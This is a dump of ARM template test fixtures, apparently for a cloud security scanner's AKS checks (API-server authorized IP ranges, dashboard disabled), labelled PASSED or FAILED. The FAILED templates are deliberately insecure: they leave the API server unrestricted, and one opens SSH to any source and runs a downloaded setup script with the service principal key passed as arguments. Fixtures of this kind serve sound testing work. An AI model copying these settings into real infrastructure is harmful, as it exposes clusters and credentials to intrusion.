    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.1\",\n  \"parameters\": {\n    \"clusterName\": {\n      \"type\": \"string\",\n      \"defaultValue\":\"aks101cluster\",\n      \"metadata\": {\n        \"description\": \"The name of the Managed Cluster resource.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The location of the Managed Cluster resource.\"\n      }\n    },\n    \"dnsPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Optional DNS prefix to use with hosted Kubernetes API server FQDN.\"\n      }\n    },\n    \"osDiskSizeGB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 0,\n      \"metadata\": {\n        \"description\": \"Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize.\"\n      },\n      \"minValue\": 0,\n      \"maxValue\": 1023\n    },\n    \"agentCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 3,\n      \"metadata\": {\n        \"description\": \"The number of nodes for the cluster.\"\n      },\n      \"minValue\": 1,\n      \"maxValue\": 50\n    },\n    \"agentVMSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_DS2_v2\",\n      \"metadata\": {\n        \"description\": \"The size of the Virtual Machine.\"\n      }\n    },\n    \"linuxAdminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"User name for the Linux Virtual Machines.\"\n      }\n    },\n    \"sshRSAPublicKey\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'\"\n      }\n    },\n    \"servicePrincipalClientId\": {\n      \"metadata\": {\n        \"description\": \"Client ID (used by cloudprovider)\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"servicePrincipalClientSecret\": {\n      \"metadata\": {\n        \"description\": \"The Service Principal Client Secret.\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"osType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Linux\",\n      \"allowedValues\": [\n        \"Linux\"\n      ],\n      \"metadata\": {\n        \"description\": \"The type of operating system.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2020-03-01\",\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[parameters('clusterName')]\",\n      \"properties\": {\n        \"dnsPrefix\": \"[parameters('dnsPrefix')]\",\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"agentpool\",\n            \"osDiskSizeGB\": \"[parameters('osDiskSizeGB')]\",\n            \"count\": \"[parameters('agentCount')]\",\n            \"vmSize\": \"[parameters('agentVMSize')]\",\n            \"osType\": \"[parameters('osType')]\",\n            \"storageProfile\": \"ManagedDisks\"\n          }\n        ],\n        \"linuxProfile\": {\n          \"adminUsername\": \"[parameters('linuxAdminUsername')]\",\n          \"ssh\": {\n            \"publicKeys\": [\n              {\n                \"keyData\": \"[parameters('sshRSAPublicKey')]\"\n              }\n            ]\n          }\n        },\n        \"servicePrincipalProfile\": {\n          \"clientId\": \"[parameters('servicePrincipalClientId')]\",\n          \"Secret\": \"[parameters('servicePrincipalClientSecret')]\"\n        }\n      }\n    }\n  ],\n  \"outputs\": {\n    \"controlPlaneFQDN\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(parameters('clusterName')).fqdn]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSApiServerAuthorizedIpRanges/aks-authIPRanges-supported-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.1\",\n  \"parameters\": {\n    \"clusterName\": {\n      \"type\": \"string\",\n      \"defaultValue\":\"aks101cluster\",\n      \"metadata\": {\n        \"description\": \"The name of the Managed Cluster resource.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The location of the Managed Cluster resource.\"\n      }\n    },\n    \"dnsPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Optional DNS prefix to use with hosted Kubernetes API server FQDN.\"\n      }\n    },\n    \"osDiskSizeGB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 0,\n      \"metadata\": {\n        \"description\": \"Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize.\"\n      },\n      \"minValue\": 0,\n      \"maxValue\": 1023\n    },\n    \"agentCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 3,\n      \"metadata\": {\n        \"description\": \"The number of nodes for the cluster.\"\n      },\n      \"minValue\": 1,\n      \"maxValue\": 50\n    },\n    \"agentVMSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_DS2_v2\",\n      \"metadata\": {\n        \"description\": \"The size of the Virtual Machine.\"\n      }\n    },\n    \"linuxAdminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"User name for the Linux Virtual Machines.\"\n      }\n    },\n    \"sshRSAPublicKey\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'\"\n      }\n    },\n    \"servicePrincipalClientId\": {\n      \"metadata\": {\n        \"description\": \"Client ID (used by cloudprovider)\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"servicePrincipalClientSecret\": {\n      \"metadata\": {\n        \"description\": \"The Service Principal Client Secret.\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"osType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Linux\",\n      \"allowedValues\": [\n        \"Linux\"\n      ],\n      \"metadata\": {\n        \"description\": \"The type of operating system.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2020-03-01\",\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[parameters('clusterName')]\",\n      \"properties\": {\n        \"dnsPrefix\": \"[parameters('dnsPrefix')]\",\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"agentpool\",\n            \"osDiskSizeGB\": \"[parameters('osDiskSizeGB')]\",\n            \"count\": \"[parameters('agentCount')]\",\n            \"vmSize\": \"[parameters('agentVMSize')]\",\n            \"osType\": \"[parameters('osType')]\",\n            \"storageProfile\": \"ManagedDisks\"\n          }\n        ],\n        \"linuxProfile\": {\n          \"adminUsername\": \"[parameters('linuxAdminUsername')]\",\n          \"ssh\": {\n            \"publicKeys\": [\n              {\n                \"keyData\": \"[parameters('sshRSAPublicKey')]\"\n              }\n            ]\n          }\n        },\n        \"servicePrincipalProfile\": {\n          \"clientId\": \"[parameters('servicePrincipalClientId')]\",\n          \"Secret\": \"[parameters('servicePrincipalClientSecret')]\"\n        },\n        \"apiServerAccessProfile\": {\n          \"authorizedIPRanges\": [\n            \"73.140.245.0/24\"\n          ],\n          \"enablePrivateCluster\": \"false\"\n        }\n      }\n    }\n  ],\n  \"outputs\": {\n    \"controlPlaneFQDN\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(parameters('clusterName')).fqdn]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSApiServerAuthorizedIpRanges/aks-authIPRanges-unsupported-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"azureuser\",\n      \"metadata\": {\n        \"description\": \"User name for the Virtual Machine.\"\n      }\n    },\n    \"sshPublicKey\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Configure all linux machines with the SSH public key string, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'\"\n      }\n    },\n    \"virtualMachineSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_DS2_v2\",\n      \"allowedValues\": [\n        \"Standard_B2s\",\n        \"Standard_B2ms\",\n        \"Standard_D2s_v3\",\n        \"Standard_D2_v3\",\n        \"Standard_DS2_v2\",\n        \"Standard_D2_v2\",\n        \"Standard_DS2\",\n        \"Standard_D2\",\n        \"Standard_A2_v2\",\n        \"Standard_A2\"\n      ],\n      \"metadata\": {\n        \"description\": \"The virutal machine size to use. We picked out the sizes with 2 vCPUs, but in real world projects you can choose other sizes as you desired.\"\n      }\n    },\n    \"kubernetesVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"1.14.6\",\n      \"allowedValues\": [\n        \"1.10.13\",\n        \"1.11.10\",\n        \"1.12.8\",\n        \"1.13.10\",\n        \"1.14.6\"\n      ],\n      \"metadata\": {\n        \"description\": \"The version of Kubernetes.\"\n      }\n    },\n    \"jenkinsDnsPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Unique DNS Name prefix for the Public IP used to access the Jenkins Virtual Machine. Azure will form the final DNS name as '<prefix>.<region>.cloudapp.azure.com'.\"\n      }\n    },\n    \"servicePrincipalAppId\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Service Principal App ID (also called Client ID) that has contributor rights to the subscription used for this deployment. It is used by the Kubernetes cluster to dynamically manage resources (e.g. user-defined load balancers).\"\n      }\n    },\n    \"servicePrincipalAppKey\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Service Principal App Key (also called Client Secret) that has contributor rights to the subscription used for this deployment. It is used by the Kubernetes cluster to dynamically manage resources (e.g. user-defined load balancers).\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"resourcePrefix\": \"jenkins\",\n    \"OSDiskName\": \"[concat(variables('resourcePrefix'), '-os-disk')]\",\n    \"nicName\": \"[concat(variables('resourcePrefix'), '-nic')]\",\n    \"subnetName\": \"[concat(variables('resourcePrefix'), '-subnet')]\",\n    \"publicIPAddressName\": \"[concat(variables('resourcePrefix'), '-ip')]\",\n    \"vmName\": \"[concat(variables('resourcePrefix'), '-vm')]\",\n    \"virtualNetworkName\": \"[concat(variables('resourcePrefix'), '-vnet')]\",\n    \"vmExtensionName\": \"[concat(variables('resourcePrefix'), '-init')]\",\n    \"frontEndNSGName\": \"[concat(variables('resourcePrefix'), '-nsg')]\",\n    \"aksName\": \"aks\",\n    \"aksDnsPrefix\": \"[concat('aks', uniqueString(resourceGroup().id))]\",\n    \"_artifactsLocation\": \"https://raw.githubusercontent.com/Azure/jenkins/master\",\n    \"_extensionScript\": \"301-jenkins-aks-zero-downtime-deployment.sh\",\n    \"_artifactsLocationSasToken\": \"\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"name\": \"[variables('vmName')]\",\n      \"apiVersion\": \"2016-04-30-preview\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"osProfile\": {\n          \"computerName\": \"[variables('vmName')]\",\n          \"adminUsername\": \"[parameters('adminUsername')]\",\n          \"linuxConfiguration\": {\n            \"disablePasswordAuthentication\": true,\n            \"ssh\": {\n              \"publicKeys\": [\n                {\n                  \"path\": \"[concat('/home/', parameters('adminUsername'), '/.ssh/authorized_keys')]\",\n                  \"keyData\": \"[parameters('sshPublicKey')]\"\n                }\n              ]\n            }\n          }\n        },\n        \"hardwareProfile\": {\n          \"vmSize\": \"[parameters('virtualMachineSize')]\"\n        },\n        \"storageProfile\": {\n          \"imageReference\": {\n            \"publisher\": \"Canonical\",\n            \"offer\": \"UbuntuServer\",\n            \"sku\": \"16.04-LTS\",\n            \"version\": \"latest\"\n          },\n          \"osDisk\": {\n            \"name\": \"[variables('OSDiskName')]\",\n            \"createOption\": \"FromImage\",\n            \"managedDisk\": {\n              \"storageAccountType\": \"Standard_LRS\"\n            }\n          },\n          \"dataDisks\": []\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', variables('nicName'))]\"\n            }\n          ]\n        }\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/networkInterfaces', variables('nicName'))]\"\n      ],\n      \"resources\": [\n        {\n          \"type\": \"extensions\",\n          \"name\": \"[variables('vmExtensionName')]\",\n          \"apiVersion\": \"2015-06-15\",\n          \"location\": \"[parameters('location')]\",\n          \"dependsOn\": [\n            \"[resourceId('Microsoft.Compute/virtualMachines', variables('vmName'))]\",\n            \"[resourceId('Microsoft.ContainerService/managedClusters', variables('aksName'))]\"\n          ],\n          \"properties\": {\n            \"publisher\": \"Microsoft.Azure.Extensions\",\n            \"type\": \"CustomScript\",\n            \"typeHandlerVersion\": \"2.0\",\n            \"autoUpgradeMinorVersion\": true,\n            \"settings\": {\n              \"fileUris\": [\n                \"[concat(variables('_artifactsLocation'), '/quickstart_templates/zero_downtime_deployment/', variables('_extensionScript'), variables('_artifactsLocationSasToken'))]\"\n              ]\n            },\n            \"protectedSettings\": {\n              \"commandToExecute\": \"[concat('./', variables('_extensionScript'), ' --app_id \\\"', parameters('servicePrincipalAppId'), '\\\" --app_key \\\"', parameters('servicePrincipalAppKey'), '\\\" --subscription_id \\\"', subscription().subscriptionId, '\\\" --tenant_id \\\"', subscription().tenantId, '\\\" --resource_group \\\"', resourceGroup().name, '\\\" --aks_name \\\"', variables('aksName'), '\\\" --jenkins_fqdn \\\"', reference(variables('publicIPAddressName')).dnsSettings.fqdn, '\\\" --artifacts_location \\\"', variables('_artifactsLocation'), '\\\" --sas_token \\\"', variables('_artifactsLocationSasToken'), '\\\"')]\"\n            }\n          }\n        }\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"name\": \"[variables('virtualNetworkName')]\",\n      \"apiVersion\": \"2016-12-01\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"10.89.0.0/16\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"[variables('subnetName')]\",\n            \"properties\": {\n              \"addressPrefix\": \"10.89.0.0/24\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"name\": \"[variables('nicName')]\",\n      \"apiVersion\": \"2016-09-01\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"ipconfig1\",\n            \"properties\": {\n              \"subnet\": {\n                \"id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('subnetName'))]\"\n              },\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"publicIpAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses', variables('publicIPAddressName'))]\"\n              }\n            }\n          }\n        ],\n        \"networkSecurityGroup\": {\n          \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('frontEndNSGName'))]\"\n        }\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworkName'))]\",\n        \"[resourceId('Microsoft.Network/publicIpAddresses', variables('publicIpAddressName'))]\",\n        \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('frontEndNSGName'))]\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Network/publicIPAddresses\",\n      \"name\": \"[variables('publicIPAddressName')]\",\n      \"apiVersion\": \"2017-06-01\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"publicIPAllocationMethod\": \"Dynamic\",\n        \"dnsSettings\": {\n          \"domainNameLabel\": \"[parameters('jenkinsDnsPrefix')]\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/networkSecurityGroups\",\n      \"name\": \"[variables('frontEndNSGName')]\",\n      \"apiVersion\": \"2017-06-01\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"securityRules\": [\n          {\n            \"name\": \"default-allow-ssh\",\n            \"properties\": {\n              \"priority\": 1000,\n              \"protocol\": \"Tcp\",\n              \"access\": \"Allow\",\n              \"direction\": \"Inbound\",\n              \"sourceAddressPrefix\": \"*\",\n              \"sourcePortRange\": \"*\",\n              \"destinationAddressPrefix\": \"*\",\n              \"destinationPortRange\": \"22\"\n            }\n          },\n          {\n            \"name\": \"allow-jenkins-http\",\n            \"properties\": {\n              \"priority\": 1001,\n              \"protocol\": \"Tcp\",\n              \"access\": \"Allow\",\n              \"direction\": \"Inbound\",\n              \"sourceAddressPrefix\": \"*\",\n              \"sourcePortRange\": \"*\",\n              \"destinationAddressPrefix\": \"*\",\n              \"destinationPortRange\": \"80\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"apiVersion\": \"2017-08-31\",\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[variables('aksName')]\",\n      \"properties\": {\n        \"kubernetesVersion\": \"[parameters('kubernetesVersion')]\",\n        \"dnsPrefix\": \"[variables('aksDnsPrefix')]\",\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"agentpool\",\n            \"count\": 2,\n            \"vmSize\": \"[parameters('virtualMachineSize')]\",\n            \"osType\": \"Linux\",\n            \"storageProfile\": \"ManagedDisks\"\n          }\n        ],\n        \"linuxProfile\": {\n          \"adminUsername\": \"[parameters('adminUsername')]\",\n          \"ssh\": {\n            \"publicKeys\": [\n              {\n                \"path\": \"[concat('/home/', parameters('adminUsername'), '/.ssh/authorized_keys')]\",\n                \"keyData\": \"[parameters('sshPublicKey')]\"\n              }\n            ]\n          }\n        },\n        \"servicePrincipalProfile\": {\n          \"ClientId\": \"[parameters('servicePrincipalAppId')]\",\n          \"Secret\": \"[parameters('servicePrincipalAppKey')]\"\n        }\n      }\n    }\n  ],\n  \"outputs\": {\n    \"admin_username\": {\n      \"type\": \"string\",\n      \"value\": \"[parameters('adminUsername')]\"\n    },\n    \"jenkins_vm_fqdn\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(variables('publicIPAddressName')).dnsSettings.fqdn]\"\n    },\n    \"jenkins_url\": {\n      \"type\": \"string\",\n      \"value\": \"[concat('http://', reference(variables('publicIPAddressName')).dnsSettings.fqdn)]\"\n    },\n    \"SSH\": {\n      \"type\": \"string\",\n      \"value\": \"[concat('ssh -L 8080:localhost:8080 ', parameters('adminUsername'), '@', reference(variables('publicIPAddressName')).dnsSettings.fqdn)]\"\n    },\n    \"kubernetes_master_fqdn\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(resourceId('Microsoft.ContainerService/managedClusters', variables('aksName'))).fqdn]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSDashboardDisabled/AKSDashboardDisabled-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.1\",\n  \"parameters\": {\n    \"clusterName\": {\n      \"type\": \"string\",\n      \"defaultValue\":\"aks101cluster\",\n      \"metadata\": {\n        \"description\": \"The name of the Managed Cluster resource.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The location of the Managed Cluster resource.\"\n      }\n    },\n    \"dnsPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Optional DNS prefix to use with hosted Kubernetes API server FQDN.\"\n      }\n    },\n    \"osDiskSizeGB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 0,\n      \"metadata\": {\n        \"description\": \"Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize.\"\n      },\n      \"minValue\": 0,\n      \"maxValue\": 1023\n    },\n    \"agentCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 3,\n      \"metadata\": {\n        \"description\": \"The number of nodes for the cluster.\"\n      },\n      \"minValue\": 1,\n      \"maxValue\": 50\n    },\n    \"agentVMSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_DS2_v2\",\n      \"metadata\": {\n        \"description\": \"The size of the Virtual Machine.\"\n      }\n    },\n    \"linuxAdminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"User name for the Linux Virtual Machines.\"\n      }\n    },\n    \"sshRSAPublicKey\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'\"\n      }\n    },\n    \"servicePrincipalClientId\": {\n      \"metadata\": {\n        \"description\": \"Client ID (used by cloudprovider)\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"servicePrincipalClientSecret\": {\n      \"metadata\": {\n        \"description\": \"The Service Principal Client Secret.\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"osType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Linux\",\n      \"allowedValues\": [\n        \"Linux\"\n      ],\n      \"metadata\": {\n        \"description\": \"The type of operating system.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2020-03-01\",\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[parameters('clusterName')]\",\n      \"properties\": {\n        \"dnsPrefix\": \"[parameters('dnsPrefix')]\",\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"agentpool\",\n            \"osDiskSizeGB\": \"[parameters('osDiskSizeGB')]\",\n            \"count\": \"[parameters('agentCount')]\",\n            \"vmSize\": \"[parameters('agentVMSize')]\",\n            \"osType\": \"[parameters('osType')]\",\n            \"storageProfile\": \"ManagedDisks\"\n          }\n        ],\n        \"linuxProfile\": {\n          \"adminUsername\": \"[parameters('linuxAdminUsername')]\",\n          \"ssh\": {\n            \"publicKeys\": [\n              {\n                \"keyData\": \"[parameters('sshRSAPublicKey')]\"\n              }\n            ]\n          }\n        },\n        \"servicePrincipalProfile\": {\n          \"clientId\": \"[parameters('servicePrincipalClientId')]\",\n          \"Secret\": \"[parameters('servicePrincipalClientSecret')]\"\n        }\n      }\n    }\n  ],\n  \"outputs\": {\n    \"controlPlaneFQDN\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(parameters('clusterName')).fqdn]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSDashboardDisabled/AKSDashboardDisabled-FAILED2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.1\",\n  \"parameters\": {\n    \"clusterName\": {\n      \"type\": \"string\",\n      \"defaultValue\":\"aks101cluster\",\n      \"metadata\": {\n        \"description\": \"The name of the Managed Cluster resource.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The location of the Managed Cluster resource.\"\n      }\n    },\n    \"dnsPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Optional DNS prefix to use with hosted Kubernetes API server FQDN.\"\n      }\n    },\n    \"osDiskSizeGB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 0,\n      \"metadata\": {\n        \"description\": \"Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize.\"\n      },\n      \"minValue\": 0,\n      \"maxValue\": 1023\n    },\n    \"agentCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 3,\n      \"metadata\": {\n        \"description\": \"The number of nodes for the cluster.\"\n      },\n      \"minValue\": 1,\n      \"maxValue\": 50\n    },\n    \"agentVMSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_DS2_v2\",\n      \"metadata\": {\n        \"description\": \"The size of the Virtual Machine.\"\n      }\n    },\n    \"linuxAdminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"User name for the Linux Virtual Machines.\"\n      }\n    },\n    \"sshRSAPublicKey\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'\"\n      }\n    },\n    \"servicePrincipalClientId\": {\n      \"metadata\": {\n        \"description\": \"Client ID (used by cloudprovider)\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"servicePrincipalClientSecret\": {\n      \"metadata\": {\n        \"description\": \"The Service Principal Client Secret.\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"osType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Linux\",\n      \"allowedValues\": [\n        \"Linux\"\n      ],\n      \"metadata\": {\n        \"description\": \"The type of operating system.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2020-03-01\",\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[parameters('clusterName')]\",\n      \"properties\": {\n        \"dnsPrefix\": \"[parameters('dnsPrefix')]\",\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"agentpool\",\n            \"osDiskSizeGB\": \"[parameters('osDiskSizeGB')]\",\n            \"count\": \"[parameters('agentCount')]\",\n            \"vmSize\": \"[parameters('agentVMSize')]\",\n            \"osType\": \"[parameters('osType')]\",\n            \"storageProfile\": \"ManagedDisks\"\n          }\n        ],\n        \"linuxProfile\": {\n          \"adminUsername\": \"[parameters('linuxAdminUsername')]\",\n          \"ssh\": {\n            \"publicKeys\": [\n              {\n                \"keyData\": \"[parameters('sshRSAPublicKey')]\"\n              }\n            ]\n          }\n        },\n        \"servicePrincipalProfile\": {\n          \"clientId\": \"[parameters('servicePrincipalClientId')]\",\n          \"Secret\": \"[parameters('servicePrincipalClientSecret')]\"\n        },\n        \"addonProfiles\": {}\n      }\n    }\n  ],\n  \"outputs\": {\n    \"controlPlaneFQDN\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(parameters('clusterName')).fqdn]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSDashboardDisabled/AKSDashboardDisabled-FAILED3.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.1\",\n  \"parameters\": {\n    \"clusterName\": {\n      \"type\": \"string\",\n      \"defaultValue\":\"aks101cluster\",\n      \"metadata\": {\n        \"description\": \"The name of the Managed Cluster resource.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The location of the Managed Cluster resource.\"\n      }\n    },\n    \"dnsPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Optional DNS prefix to use with hosted Kubernetes API server FQDN.\"\n      }\n    },\n    \"osDiskSizeGB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 0,\n      \"metadata\": {\n        \"description\": \"Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize.\"\n      },\n      \"minValue\": 0,\n      \"maxValue\": 1023\n    },\n    \"agentCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 3,\n      \"metadata\": {\n        \"description\": \"The number of nodes for the cluster.\"\n      },\n      \"minValue\": 1,\n      \"maxValue\": 50\n    },\n    \"agentVMSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_DS2_v2\",\n      \"metadata\": {\n        \"description\": \"The size of the Virtual Machine.\"\n      }\n    },\n    \"linuxAdminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"User name for the Linux Virtual Machines.\"\n      }\n    },\n    \"sshRSAPublicKey\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'\"\n      }\n    },\n    \"servicePrincipalClientId\": {\n      \"metadata\": {\n        \"description\": \"Client ID (used by cloudprovider)\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"servicePrincipalClientSecret\": {\n      \"metadata\": {\n        \"description\": \"The Service Principal Client Secret.\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"osType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Linux\",\n      \"allowedValues\": [\n        \"Linux\"\n      ],\n      \"metadata\": {\n        \"description\": \"The type of operating system.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2020-03-01\",\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[parameters('clusterName')]\",\n      \"properties\": {\n        \"dnsPrefix\": \"[parameters('dnsPrefix')]\",\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"agentpool\",\n            \"osDiskSizeGB\": \"[parameters('osDiskSizeGB')]\",\n            \"count\": \"[parameters('agentCount')]\",\n            